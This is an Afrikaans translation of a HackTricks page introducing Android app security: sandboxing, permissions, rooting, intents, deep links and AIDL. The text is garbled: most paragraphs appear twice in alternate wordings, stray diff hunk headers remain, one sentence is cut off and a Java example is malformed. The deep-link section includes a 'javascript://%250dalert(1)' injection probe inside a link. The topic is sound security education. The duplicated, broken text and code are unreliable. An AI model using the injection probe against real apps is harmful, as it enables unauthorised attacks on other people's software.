* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hakwerktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Android-sekuriteitsmodel
## Android Sekuriteitsmodel
**Daar is twee lae:**
* Die **BS**, wat geïnstalleerde toepassings geïsoleer hou van mekaar.
* Die **toepassing self**, wat ontwikkelaars in staat stel om sekere funksionaliteite bloot te stel en toepassingsvermoëns te konfigureer.
* Die **OS**, wat geïnstalleerde aansoeke geïsoleer hou van mekaar.
* Die **aansoek self**, wat ontwikkelaars toelaat om **sekere funksionaliteite bloot te stel** en aansoekvermoëns te konfigureer.
### UID-skeiding
### UID Skeiding
**Elke toepassing word toegewys aan 'n spesifieke gebruikers-ID**. Dit word gedoen tydens die installering van die toepassing sodat die toepassing slegs kan interaksie hê met lêers wat deur sy gebruikers-ID besit word of gedeel word. Daarom kan slegs die toepassing self, sekere komponente van die BS en die root-gebruiker toegang kry tot die toepassingsdata.
**Elke aansoek word 'n spesifieke Gebruikers-ID toegewys**. Dit word gedoen tydens die installasie van die aansoek sodat **die aansoek slegs met lêers wat deur sy Gebruikers-ID besit word of gedeel word**, kan interaksie hê. Daarom kan slegs die aansoek self, sekere komponente van die OS en die root-gebruiker toegang tot die aansoek se data hê.
### UID-deling
### UID Deling
**Twee toepassings kan gekonfigureer word om dieselfde UID te gebruik**. Dit kan nuttig wees om inligting te deel, maar as een van hulle gekompromitteer word, sal die data van beide toepassings gekompromitteer word. Dit is waarom hierdie gedrag **ontmoedig** word.\
**Om dieselfde UID te deel, moet toepassings dieselfde `android:sharedUserId`-waarde in hul manifeste definieer.**
**Twee aansoeke kan gekonfigureer word om dieselfde UID te gebruik**. Dit kan nuttig wees om inligting te deel, maar as een van hulle gekompromitteer word, sal die data van beide aansoeke gekompromitteer word. Dit is waarom hierdie gedrag **ontmoedig** word.\
**Om dieselfde UID te deel, moet aansoeke dieselfde `android:sharedUserId`-waarde in hul manifeste definieer.**
### Sandboxing
Die **Android-toepassingssandbox** maak dit moontlik om **elke toepassing** as 'n **afsonderlike proses onder 'n afsonderlike gebruikers-ID** uit te voer. Elke proses het sy eie virtuele masjien, sodat 'n toepassing se kode geïsoleerd van ander toepassings uitgevoer word.\
Vanaf Android 5.0(L) word **SELinux** afgedwing. Basies het SELinux alle prosesinteraksies ontken en dan beleide geskep om **slegs die verwagte interaksies tussen hulle toe te laat**.
Die **Android Aansoek Sandboks** maak dit moontlik om **elke aansoek** as 'n **afsonderlike proses onder 'n afsonderlike gebruikers-ID** te laat loop. Elke proses het sy eie virtuele masjien, sodat 'n aansoek se kode in isolasie van ander aansoeke loop.\
Van Android 5.0(L) af word **SELinux** afgedwing. Basies het SELinux alle prosesinteraksies ontken en daarna beleid geskep om **slegs die verwagte interaksies tussen hulle toe te laat**.
### Toestemmings
Wanneer jy 'n **toepassing installeer en dit vra vir toestemmings**, vra die toepassing vir die toestemmings wat gekonfigureer is in die **`uses-permission`**-elemente in die **AndroidManifest.xml**-lêer. Die **uses-permission**-element dui die naam van die gevraagde toestemming aan binne die **name**-kenmerk. Dit het ook die **maxSdkVersion**-kenmerk wat verhoed dat toestemmings gevra word op hoër weergawes as die gespesifiseerde een.\
Let daarop dat Android-toepassings nie altyd al die toestemmings aan die begin hoef te vra nie, hulle kan ook **dinamies toestemmings vra**, maar al die toestemmings moet in die manifest **verklaar** word.
Wanneer jy 'n **aansoek installeer en dit om toestemmings vra**, vra die aansoek vir die toestemmings wat in die **`uses-permission`** elemente in die **AndroidManifest.xml** lêer gekonfigureer is. Die **uses-permission** element dui die naam van die versoekte toestemming binne die **naam** **eienskap** aan. Dit het ook die **maxSdkVersion** eienskap wat ophou om toestemmings te vra op weergawes hoër as die gespesifiseerde een.\
Let daarop dat Android-aansoeke nie al die toestemmings aan die begin hoef te vra nie, hulle kan ook **toestemmings dinamies vra** maar al die toestemmings moet in die **manifest** **verklaar** word.
Wanneer 'n toepassing funksionaliteit blootstel, kan dit die **toegang beperk tot slegs toepassings wat 'n spesifieke toestemming het**.\
'n Toestemmings-element het drie kenmerke:
Wanneer 'n aansoek funksionaliteit blootstel, kan dit die **toegang beperk tot slegs aansoeke wat 'n spesifieke toestemming het**.\
'n Toestemmings-element het drie eienskappe:
* Die **naam** van die toestemming
* Die **permission-group**-kenmerk, wat toelaat dat verwante toestemmings gegroepeer word.
* Die **protection-level** wat aandui hoe die toestemmings verleen word. Daar is vier tipes:
* **Normaal**: Gebruik wanneer daar **geen bekende bedreigings** vir die toepassing is nie. Die gebruiker word **nie vereis om dit goed te keur nie**.
* **Gevaarlik**: Dui aan dat die toestemming die aanvraagende toepassing **verhoogde toegang** gee. **Gebruikers word gevra om dit goed te keur**.
* **Handtekening**: Slegs **toepassings wat deur dieselfde sertifikaat as die een** wat die komponent uitvoer, onderteken is, kan toestemming kry. Dit is die sterkste tipe beskerming.
* **HandtekeningOfStelsel**: Slegs **toepassings wat deur dieselfde sertifikaat as die een** wat die komponent uitvoer, onderteken is, of **toepassings wat met stelselvlaktoegang uitgevoer word**, kan toestemming kry.
* Die **permission-group** eienskap, wat toelaat om verwante toestemmings te groepeer.
* Die **beskermingsvlak** wat aandui hoe die toestemmings verleen word. Daar is vier tipes:
* **Normaal**: Gebruik wanneer daar **geen bekende bedreigings** vir die aansoek is nie. Die gebruiker hoef dit **nie goed te keur** nie.
* **Gevaarlik**: Dui aan dat die toestemming die versoekende aansoek 'n sekere **verhoogde toegang** gee. **Gebruikers word versoek om dit goed te keur**.
* **Handtekening**: Slegs **aansoeke wat deur dieselfde sertifikaat as die een** wat die komponent uitvoer, onderteken is, kan toestemming kry. Dit is die sterkste tipe beskerming.
* **HandtekeningOfStelsel**: Slegs **aansoeke wat deur dieselfde sertifikaat as die een** wat die komponent uitvoer onderteken is, of **aansoeke wat met stelselvlaktoegang hardloop**, kan toestemmings kry
## Vooraf geïnstalleerde toepassings
## Vooraf Geïnstalleerde Aansoeke
Hierdie toepassings word gewoonlik in die **`/system/app`** of **`/system/priv-app`**-gids gevind en sommige van hulle is **geoptimaliseer** (jy mag dalk nie eers die `classes.dex`-lêer vind nie). Hierdie toepassings is die moeite werd om te ondersoek omdat hulle soms **met te veel toestemmings uitgevoer word** (as root).
Hierdie aansoeke word gewoonlik in die **`/system/app`** of **`/system/priv-app`** gids gevind en sommige van hulle is **geoptimeer** (jy mag nie eens die `classes.dex` lêer vind nie). Hierdie aansoeke is die moeite werd om te ondersoek omdat hulle soms met te veel toestemmings hardloop (as root).
* Diegene wat saam met die **AOSP** (Android OpenSource Project) **ROM** versend word
* Bygevoeg deur die toestel **vervaardiger**
* Bygevoeg deur die selfoon **verskaffer** (as dit by hulle gekoop is)
* Bygevoeg deur die selfoonverskaffer (as dit by hulle gekoop is)
## Rooting
Om worteltoegang tot 'n fisiese Android-toestel te verkry, moet jy gewoonlik 1 of 2 **kwesbaarhede uitbuit** wat gewoonlik **spesifiek** is vir die **toestel** en **weergawe**.\
Nadat die uitbuiting gewerk het, word die Linux `su` binêre gewoonlik gekopieer na 'n ligging wat gespesifiseer is in die gebruiker se PATH-omgewingsveranderlike, soos `/system/xbin`.
Om worteltoegang tot 'n fisiese Android-toestel te verkry, moet jy gewoonlik 1 of 2 **kwesbaarhede uitbuit** wat gewoonlik **spesifiek** vir die **toestel** en **weergawe** is.\
Sodra die uitbuiting gewerk het, word die Linux `su` binêre gewoonlik gekopieer na 'n ligging wat in die gebruiker se PATH-omgewingsveranderlike gespesifiseer is, soos `/system/xbin`.
Nadat die su-binêre lêer gekonfigureer is, word 'n ander Android-toepassing gebruik om met die `su`-binêre lêer te kommunikeer en **versoeke vir worteltoegang te verwerk**, soos **Superuser** en **SuperSU** (beskikbaar in die Google Play Store).
Sodra die su-binêre geconfigureer is, word 'n ander Android-aansoek gebruik om met die `su` binêre te kommunikeer en **versoeke vir worteltoegang te verwerk** soos **Superuser** en **SuperSU** (beskikbaar in die Google Play Store).
{% hint style="danger" %}
Let daarop dat die rooting-proses baie gevaarlik is en die toestel ernstig kan beskadig
{% endhint %}
### ROM's
### ROMs
Dit is moontlik om die BS te **vervang deur 'n aangepaste firmware te installeer**. Deur dit te doen, is dit moontlik om die bruikbaarheid van 'n ou toestel uit te brei, sagtewarebeperkings te omseil of toegang tot die nuutste Android-kode te verkry.\
Dit is moontlik om die OS te **vervang deur 'n aangepaste firmware te installeer**. Deur dit te doen, is dit moontlik om die nut van 'n ou toestel uit te brei, sagtewarebeperkings te omseil of toegang tot die nuutste Android-kode te verkry.\
**OmniROM** en **LineageOS** is twee van die gewildste firmwares om te gebruik.
Let daarop dat **nie altyd nodig is om die toestel te root
Let daarop dat **dit nie altyd nodig is om die toestel te root nie** om 'n aangepaste firmware te installeer. **Sommige vervaardigers laat** die ontgrendeling van hul opstartsnyers op 'n goed gedokumenteerde en veilige manier toe.
### Implikasies
Sodra 'n toestel gewortel is, kan enige aansoek versoek om toegang as wortel te verkry. As 'n skadelike aansoek dit kry, kan dit toegang tot byna alles hê en dit kan die foon beskadig.
## Android Aansoek Fundamentele <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
- Die formaat van Android-aansoeke word verwys as _APK-lêerformaat_. Dit is essensieel 'n **ZIP-lêer** (deur die lêeruitbreiding na .zip te hernoem, kan die inhoud onttrek en besigtig word).
- APK-inhoud (Nie uitputtend nie)
- **AndroidManifest.xml**
- resources.arsc/strings.xml
- resources.arsc: bevat vooraf saamgestelde bronne, soos binêre XML.
- res/xml/files\_paths.xml
- META-INF/
- Hierdie is waar die Sertifikaat geleë is!
- **classes.dex**
- Bevat Dalvik-bytekode, wat die saamgestelde Java (of Kotlin) kode wat die aansoek standaard uitvoer, verteenwoordig.
- lib/
- Huise inheemse biblioteke, geskei deur CPU-argitektuur in subgidse.
- `armeabi`: kode vir ARM-gebaseerde verwerkers
- `armeabi-v7a`: kode vir ARMv7 en hoër gebaseerde verwerkers
- `x86`: kode vir X86-verwerkers
- `mips`: kode vir slegs MIPS-verwerkers
- bates/
- Berg verskeie lêers wat deur die aansoek benodig word, moontlik insluitend addisionele inheemse biblioteke of DEX-lêers, soms deur malware-skrywers gebruik om addisionele kode te verberg.
- res/
- Bevat bronne wat nie in resources.arsc saamgestel is nie
### **Dalvik & Smali**
In Android-ontwikkeling word **Java of Kotlin** gebruik om programme te skep. In plaas daarvan om die JVM soos in bladtoepassings te gebruik, kompileer Android hierdie kode na **Dalvik Uitvoerbare (DEX) bytecode**. Vroeër het die Dalvik virtuele masjien hierdie bytecode hanteer, maar nou neem die Android Runtime (ART) oor in nuwer Android-weergawes.
In Android-ontwikkeling word **Java of Kotlin** gebruik om programme te skep. In plaas van die JVM soos in lessenaar programme, kompileer Android hierdie kode na **Dalvik Uitvoerbare (DEX) bytekode**. Vroeër het die Dalvik virtuele masjien hierdie bytekode hanteer, maar nou neem die Android Runtime (ART) oor in nuwer Android-weergawes.
Vir omgekeerde ingenieurswese word **Smali** krities. Dit is die mens-leesbare weergawe van DEX bytecode en tree op soos assambleertaal deur bronkode na bytecode-instruksies te vertaal. Smali en baksmali verwys na die assambleer- en ontassemblagehulpmiddels in hierdie konteks.
***
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
***
Vir omgekeerde ingenieurswese word **Smali** noodsaaklik. Dit is die mens-leesbare weergawe van DEX bytekode, wat soos samestellingskode optree deur bronkode na bytekode-instruksies te vertaal. Smali en baksmali verwys na die samestellings- en ontsameleerhulpmiddels in hierdie konteks.
## Intents
Intents is die primêre manier waarop Android-toepassings kommunikeer tussen hul komponente of met ander toepassings. Hierdie boodskapvoorwerpe kan ook data tussen toepassings of komponente dra, soortgelyk aan hoe GET/POST-versoeke in HTTP-kommunikasie gebruik word.
Intents is die primêre manier waarop Android-programme tussen hul komponente of met ander programme kommunikeer. Hierdie boodskapvoorwerpe kan ook data tussen programme of komponente dra, soortgelyk aan hoe GET/POST-versoeke in HTTP-kommunikasie gebruik word.
Dus is 'n Intent basies 'n **boodskap wat tussen komponente oorgedra word**. Intents **kan gerig word** aan spesifieke komponente of toepassings, **of sonder 'n spesifieke ontvanger gestuur word**.\
Om dit eenvoudig te stel, kan Intents gebruik word:
Dus is 'n Intent basies 'n **boodskap wat tussen komponente oorgedra word**. Intents **kan gerig word** aan spesifieke komponente of programme, **of sonder 'n spesifieke ontvanger gestuur word**.\
Om dit eenvoudig te stel, kan 'n Intent gebruik word:
* Om 'n Aktiwiteit te begin, wat gewoonlik 'n gebruikerskoppelvlak vir 'n toepassing oopmaak
* As uitsendings om die stelsel en toepassings van veranderinge in te lig
* Om 'n agtergronddiens te begin, stop en kommunikeer
* Om toegang tot data te verkry via ContentProviders
* As terugroepfunksies om gebeurtenisse te hanteer
* Om 'n Aktiwiteit te begin, tipies deur 'n gebruikerskoppelvlak vir 'n app oop te maak
* As uitsendings om die stelsel en programme van veranderinge in te lig
* Om 'n agtergronddiens te begin, te stop en mee te kommunikeer
* Om data via Inhoudsverskaffers te benader
* As terugroep om gebeure te hanteer
Indien kwesbaar, **kan Intents gebruik word om verskeie aanvalle uit te voer**.
Indien kwesbaar, **kan Intents gebruik word om 'n verskeidenheid aan aanvalle uit te voer**.
### Intent-Filter
**Intent Filters** definieer **hoe 'n aktiwiteit, diens of Uitsendontvanger kan interaksie hê met verskillende tipes Intents**. In wese beskryf hulle die vermoëns van hierdie komponente, soos watter aksies hulle kan uitvoer of die soorte uitsendings wat hulle kan verwerk. Die primêre plek om hierdie filters te verklaar, is binne die **AndroidManifest.xml-lêer**, alhoewel dit ook 'n opsie is om dit vir Uitsendontvangers te kodeer.
**Intent Filters** definieer **hoe 'n aktiwiteit, diens, of Uitsaai-Ontvanger met verskillende tipes Intents kan interaksie hê**. Essensieel beskryf hulle die vermoëns van hierdie komponente, soos watter aksies hulle kan uitvoer of die soorte uitsendings wat hulle kan verwerk. Die primêre plek om hierdie filters te verklaar is binne die **AndroidManifest.xml-lêer**, alhoewel dit ook 'n opsie is om hulle vir Uitsaai-Ontvangers te kodeer.
Intent Filters bestaan uit kategorieë, aksies en datafilters, met die moontlikheid om addisionele metadata in te sluit. Hierdie opstelling maak dit moontlik vir komponente om spesifieke Intents te hanteer wat aan die verklaarde kriteria voldoen.
Intent Filters bestaan uit kategorieë, aksies, en datafilters, met die moontlikheid om addisionele metadata in te sluit. Hierdie opstelling maak dit moontlik vir komponente om spesifieke Intents te hanteer wat aan die verklaarde kriteria voldoen.
'n Kritieke aspek van Android-komponente (aktiwiteite/diens/inhoudverskaffers/uitsendontvangers) is hul sigbaarheid of **openbare status**. 'n Komponent word as openbaar beskou en kan met ander toepassings interaksie hê as dit **`uitgevoer`** word met 'n waarde van **`waar`** of as 'n Intent Filter daarvoor in die manifest verklaar word. Daar is egter 'n manier vir ontwikkelaars om hierdie komponente eksplisiet privaat te hou, om te verseker dat hulle nie onbedoeld met ander toepassings interaksie hê nie. Dit word bereik deur die **`uitgevoer`** eienskap na **`vals`** in hul manifestdefinisies te stel.
'n Kritieke aspek van Android-komponente (aktiwiteite/dienste/inhoudsverskaffers/uitsaai-ontvangers) is hul sigbaarheid of **publieke status**. 'n Komponent word as openbaar beskou en kan met ander programme interaksie hê as dit **`uitgevoer`** word met 'n waarde van **`waar`** of as 'n Intent Filter daarvoor verklaar word in die manifest. Daar is egter 'n manier vir ontwikkelaars om hierdie komponente eksplisiet privaat te hou, om te verseker dat hulle nie onbedoeld met ander programme interaksie hê nie. Dit word bereik deur die **`uitgevoer`** attribuut na **`vals`** in hul manifestdefinisies te stel.
Verder het ontwikkelaars die opsie om toegang tot hierdie komponente verder te beveilig deur spesifieke toestemmings te vereis. Die **`toestemming`** eienskap kan ingestel word om te verseker dat slegs toepassings met die aangewese toestemming toegang tot die komponent kan verkry, wat 'n ekstra laag van sekuriteit en beheer bied oor wie daarmee kan interaksie hê.
Verder het ontwikkelaars die opsie om toegang tot hierdie komponente verder te beveilig deur spesifieke toestemmings te vereis. Die **`toestemming`** attribuut kan ingestel word om te verseker dat slegs programme met die aangewese toestemming die komponent kan benader, wat 'n ekstra laag van sekuriteit en beheer bied oor wie daarmee kan interaksie hê.
```java
<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
@ -130,34 +140,13 @@ Verder het ontwikkelaars die opsie om toegang tot hierdie komponente verder te b
```
### Implisiete Intente
Intente word programmaties geskep deur gebruik te maak van 'n Intent-konstrukteur:
Intente word programmaties geskep deur 'n Intent-konstrukteur:
```java
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
```
Die **Aksie** van die voorheen verklaarde voorneme is **ACTION\_SEND** en die **Ekstra** is 'n mailto **Uri** (die Ekstra is die ekstra inligting wat die voorneme verwag).
Die **Aksie** van die voorheen verklaarde intent is **ACTION\_SEND** en die **Ekstra** is 'n mailto **Uri** (die Ekstra is die ekstra inligting wat die intent verwag).
Hierdie voorneme moet binne die manifest verklaar word soos in die volgende voorbeeld:
```xml
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.myapp">
<application
...>
<activity android:name=".MainActivity">
...
<intent-filter>
<action android:name="android.intent.action.SEND" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="mailto" />
</intent-filter>
</activity>
</application>
</manifest>
```
Hierdie intent moet binne die manifest verklaar word soos in die volgende voorbeeld:
```xml
<activity android:name="ShareActivity">
<intent-filter>
@ -166,48 +155,48 @@ Hierdie voorneme moet binne die manifest verklaar word soos in die volgende voor
</intent-filter>
</activity>
```
'n Intent-filter moet ooreenstem met die **aksie**, **data** en **kategorie** om 'n boodskap te ontvang.
'n Intent-filter moet die **aksie**, **data** en **kategorie** pas om 'n boodskap te ontvang.
Die "Intent-oplossing" proses bepaal watter app elke boodskap moet ontvang. Hierdie proses oorweeg die **prioriteit atribuut**, wat in die **intent-filter verklaring** ingestel kan word, en **die een met die hoër prioriteit sal gekies word**. Hierdie prioriteit kan tussen -1000 en 1000 ingestel word en programme kan die `SYSTEM_HIGH_PRIORITY` waarde gebruik. As 'n **botsing** ontstaan, verskyn 'n "kieser" venster sodat die **gebruiker kan besluit**.
Die "Intent resolution" proses bepaal watter app elke boodskap moet ontvang. Hierdie proses oorweeg die **prioriteit atribuut**, wat in die **intent-filter verklaring** ingestel kan word, en **die een met die hoër prioriteit sal gekies word**. Hierdie prioriteit kan tussen -1000 en 1000 ingestel word en programme kan die `SYSTEM_HIGH_PRIORITY` waarde gebruik. As 'n **konflik** ontstaan, verskyn 'n "chooser" venster sodat die **gebruiker kan besluit**.
### Uitdruklike Intents
### Expliciete Intents
'n Uitdruklike intent spesifiseer die klassenaam waarna dit mik:
'n Expliciete intent spesifiseer die klassenaam wat dit teiken:
```java
Intent downloadIntent = new (this, DownloadService.class):
```
In ander toepassings kan jy die voorheen verklaarde voorneme toegang kry deur die volgende te gebruik:
In ander toepassings om toegang te verkry tot die voorheen verklaarde intent kan jy die volgende gebruik:
```java
Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName");
context.startService(intent);
```
### Hangende Intente
### Afhangende Intente
Hierdie maak dit vir ander programme moontlik om **aksies namens jou program te neem**, met behulp van jou program se identiteit en toestemmings. By die konstruksie van 'n Hangende Intent moet 'n **intent en die aksie wat uitgevoer moet word, gespesifiseer word**. As die **verklaarde intent nie eksplisiet is** (dit verklaar nie watter intent dit kan oproep nie), kan 'n **skadelike toepassing die verklaarde aksie uitvoer** namens die slagoffer-toepassing. Verder, **as 'n aksie nie gespesifiseer is nie**, sal die skadelike toepassing in staat wees om **enige aksie namens die slagoffer** uit te voer.
Hierdie maak dit vir ander toepassings moontlik om **optrede namens jou toepassing te neem**, met behulp van jou toepassing se identiteit en regte. Om 'n Afhangende Intent te konstrueer, moet daar 'n **intent en die optrede om uit te voer gespesifiseer word**. As die **verklaarde intent nie eksplisiet is** (nie verklaar watter intentie dit kan aanroep nie), kan 'n **skadelike toepassing die verklaarde optrede** namens die slagoffer-toepassing uitvoer. Verder, **as 'n optrede nie gespesifiseer is nie**, sal die skadelike toepassing in staat wees om **enige optrede namens die slagoffer** uit te voer.
### Uitsaai Intente
In teenstelling met die vorige intente, wat slegs deur een toepassing ontvang word, kan uitsaai intente **deur verskeie toepassings ontvang word**. Vanaf API-weergawe 14 is dit **moontlik om die toepassing te spesifiseer wat die boodskap moet ontvang** deur gebruik te maak van Intent.set Package.
In teenstelling met die vorige intente, wat slegs deur een toepassing ontvang word, kan uitsaai intente **deur verskeie toepassings ontvang word**. Vanaf API-weergawe 14 is dit egter **moontlik om die toepassing te spesifiseer wat die boodskap moet ontvang** deur Intent.setPackage te gebruik.
Alternatiewelik is dit ook moontlik om **'n toestemming te spesifiseer wanneer die uitsaai gestuur word**. Die ontvangende toepassing sal daardie toestemming nodig hê.
Alternatief is dit ook moontlik om 'n **toestemming te spesifiseer wanneer die uitsaai gedoen word**. Die ontvangende toepassing sal daardie toestemming moet hê.
Daar is **twee tipes** uitsaai: **Normaal** (asinkronies) en **Gereëlde** (sinkronies). Die **volgorde** is gebaseer op die **gekonfigureerde prioriteit binne die ontvanger** element. **Elke toepassing kan die uitsaai verwerk, deurgee of laat val**.
Daar is **twee tipes** Uitsaai: **Normaal** (asinkronies) en **Gereëlde** (sistemies). Die **volgorde** is gebaseer op die **gekonfigureerde prioriteit binne die ontvanger** element. **Elke toepassing kan die Uitsaai verwerk, deurgee of laat val.**
Dit is moontlik om 'n **uitsaai** te **stuur** met behulp van die funksie `sendBroadcast(intent, receiverPermission)` van die `Context` klas.\
U kan ook die funksie **`sendBroadcast`** van die **`LocalBroadCastManager`** gebruik om te verseker dat die **boodskap nooit die toepassing verlaat** nie. Deur dit te gebruik, hoef u nie eers 'n ontvangerkomponent uit te voer nie.
Dit is moontlik om 'n **uitsaai** te **stuur** deur die funksie `sendBroadcast(intent, receiverPermission)` van die `Context` klas te gebruik.\
Jy kan ook die funksie **`sendBroadcast`** van die **`LocalBroadCastManager`** gebruik om te verseker dat die **boodskap nooit die toepassing verlaat** nie. Deur dit te gebruik, hoef jy selfs nie 'n ontvangerkomponent uit te voer nie.
### Plakkerige Uitsaai
### Plakkerige Uitsaaie
Hierdie tipe uitsaai **kan lank nadat dit gestuur is, geassesseer word**.\
Dit is verouderd in API-vlak 21 en dit word aanbeveel om dit **nie te gebruik nie**.\
**Dit maak dit vir enige toepassing moontlik om die data te bespioneer, maar ook om dit te wysig.**
Hierdie tipe Uitsaaie **kan lank nadat hulle gestuur is, benader word**.\
Hierdie is verouder in API-vlak 21 en dit word aanbeveel om **hulle nie te gebruik nie**.\
**Hulle laat enige toepassing toe om die data te bespeur, maar ook om dit te wysig.**
As u funksies vind wat die woord "plakkerig" bevat, soos **`sendStickyBroadcast`** of **`sendStickyBroadcastAsUser`**, **ondersoek die impak en probeer om dit te verwyder**.
As jy funksies vind wat die woord "plakkerig" bevat soos **`sendStickyBroadcast`** of **`sendStickyBroadcastAsUser`**, **ondersoek die impak en probeer om hulle te verwyder**.
## Diep skakels / URL-skemas
In Android-toepassings word **diep skakels** gebruik om 'n aksie (Intent) direk deur 'n URL te inisieer. Dit word gedoen deur 'n spesifieke **URL-skema** binne 'n aktiwiteit te verklaar. Wanneer 'n Android-toestel probeer om 'n URL met hierdie skema te **toegang**, word die gespesifiseerde aktiwiteit binne die toepassing geopen.
In Android-toepassings word **diep skakels** gebruik om 'n optrede (Intent) direk deur 'n URL te inisieer. Dit word gedoen deur 'n spesifieke **URL-skema** binne 'n aktiwiteit te verklaar. Wanneer 'n Android-toestel probeer om 'n URL met hierdie skema **te benader**, word die gespesifiseerde aktiwiteit binne die toepassing geopen.
Die skema moet verklaar word in die **`AndroidManifest.xml`** lêer:
```xml
@ -221,44 +210,44 @@ Die skema moet verklaar word in die **`AndroidManifest.xml`** lêer:
</intent-filter>
[...]
```
Die skema van die vorige voorbeeld is `exampleapp://` (merk ook die **`category BROWSABLE`**)
Die skema van die vorige voorbeeld is `exampleapp://` (merk ook die **`kategorie BROWSABLE`**)
Dan kan jy in die data veld die **host** en **path** spesifiseer:
Dan kan jy in die data veld die **gasheer** en **pad** spesifiseer:
```xml
<data android:scheme="examplescheme"
android:host="example"
/>
```
Om dit vanaf 'n web te benader, is dit moontlik om 'n skakel soos die volgende te stel:
Om dit vanaf 'n web te benader, is dit moontlik om 'n skakel soos die volgende in te stel:
```xml
<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
```
Om die **kode wat in die App uitgevoer sal word** te vind, gaan na die aktiwiteit wat deur die deeplink geroep word en soek die funksie **`onNewIntent`**.
Om die **kode wat in die program uitgevoer sal word** te vind, gaan na die aktiwiteit wat deur die deeplink geroep word en soek die funksie **`onNewIntent`**.
Leer hoe om [deeplinks te roep sonder om HTML-bladsye te gebruik](./#exploiting-schemes-deep-links).
Leer hoe om [diep skakels te roep sonder om HTML-bladsye te gebruik](./#exploiting-schemes-deep-links).
## AIDL - Android Interface Definition Language
Die **Android Interface Definition Language (AIDL)** is ontwerp om kommunikasie tussen klient en diens in Android-toepassings deur middel van **interproseskommunikasie** (IPC) te fasiliteer. Aangesien direkte toegang tot 'n ander proses se geheue nie toegelaat word op Android nie, vereenvoudig AIDL die proses deur objekte in 'n formaat te verpak wat deur die bedryfstelsel verstaan word, en vergemaklik sodoende kommunikasie tussen verskillende prosesse.
Die **Android Interface Definition Language (AIDL)** is ontwerp om kommunikasie tussen klient en diens in Android-toepassings deur **interproses kommunikasie** (IPC) te fasiliteer. Aangesien direkte toegang tot 'n ander proses se geheue nie toegelaat word op Android nie, vereenvoudig AIDL die proses deur objekte in 'n formaat te marshal wat deur die bedryfstelsel verstaan word, en vergemaklik sodoende kommunikasie tussen verskillende prosesse.
### Sleutelkonsepte
- **Gebinde Dienste**: Hierdie dienste maak gebruik van AIDL vir IPC en stel aktiwiteite of komponente in staat om aan 'n diens te bind, versoeke te maak en antwoorde te ontvang. Die `onBind`-metode in die diens se klas is krities vir die inisiasie van interaksie, en dit is 'n belangrike area vir sekuriteitsondersoek om kwesbaarhede op te spoor.
- **Gebinde Dienste**: Hierdie dienste maak gebruik van AIDL vir IPC, wat aktiwiteite of komponente in staat stel om aan 'n diens te bind, versoek te maak, en antwoorde te ontvang. Die `onBind`-metode in die diens se klas is krities vir die inisieer van interaksie, en dit word as 'n belangrike area vir sekuriteitsondersoek gemerk op soek na kwesbaarhede.
- **Messenger**: As 'n gebinde diens fasiliteer Messenger IPC met die fokus op die verwerking van data deur die `onBind`-metode. Dit is noodsaaklik om hierdie metode noukeurig te ondersoek vir enige onveilige hantering van data of uitvoering van sensitiewe funksies.
- **Bode**: Terwyl dit as 'n gebinde diens funksioneer, fasiliteer Bode IPC met 'n fokus op die verwerking van data deur die `onBind`-metode. Dit is noodsaaklik om hierdie metode noukeurig te ondersoek vir enige onveilige datahantering of uitvoering van sensitiewe funksies.
- **Binder**: Alhoewel direkte gebruik van die Binder-klas minder algemeen is as gevolg van AIDL se abstraksie, is dit voordelig om te verstaan dat Binder optree as 'n kernelvlakbestuurder wat data-oordrag tussen die geheue-areas van verskillende prosesse fasiliteer. Vir verdere begrip is 'n hulpbron beskikbaar by [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
- **Binder**: Alhoewel direkte gebruik van die Binder-klas minder algemeen is as gevolg van AIDL se abstraksie, is dit voordelig om te verstaan dat Binder as 'n kernelvlak drywer optree wat data-oordrag fasiliteer tussen die geheue-areas van verskillende prosesse. Vir verdere begrip is 'n hulpbron beskikbaar by [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
## Komponente
Dit sluit in: **Aktiwiteite, Dienste, Uitsaai-Ontvangers en Verskaffers.**
### Beginaktiwiteit en ander aktiwiteite
### Aanloopaktiwiteit en ander aktiwiteite
In Android-toepassings is **aktiwiteite** soos skerms wat verskillende dele van die toepassing se gebruikerskoppelvlak wys. 'n Toepassing kan baie aktiwiteite hê, elk een wat 'n unieke skerm aan die gebruiker vertoon.
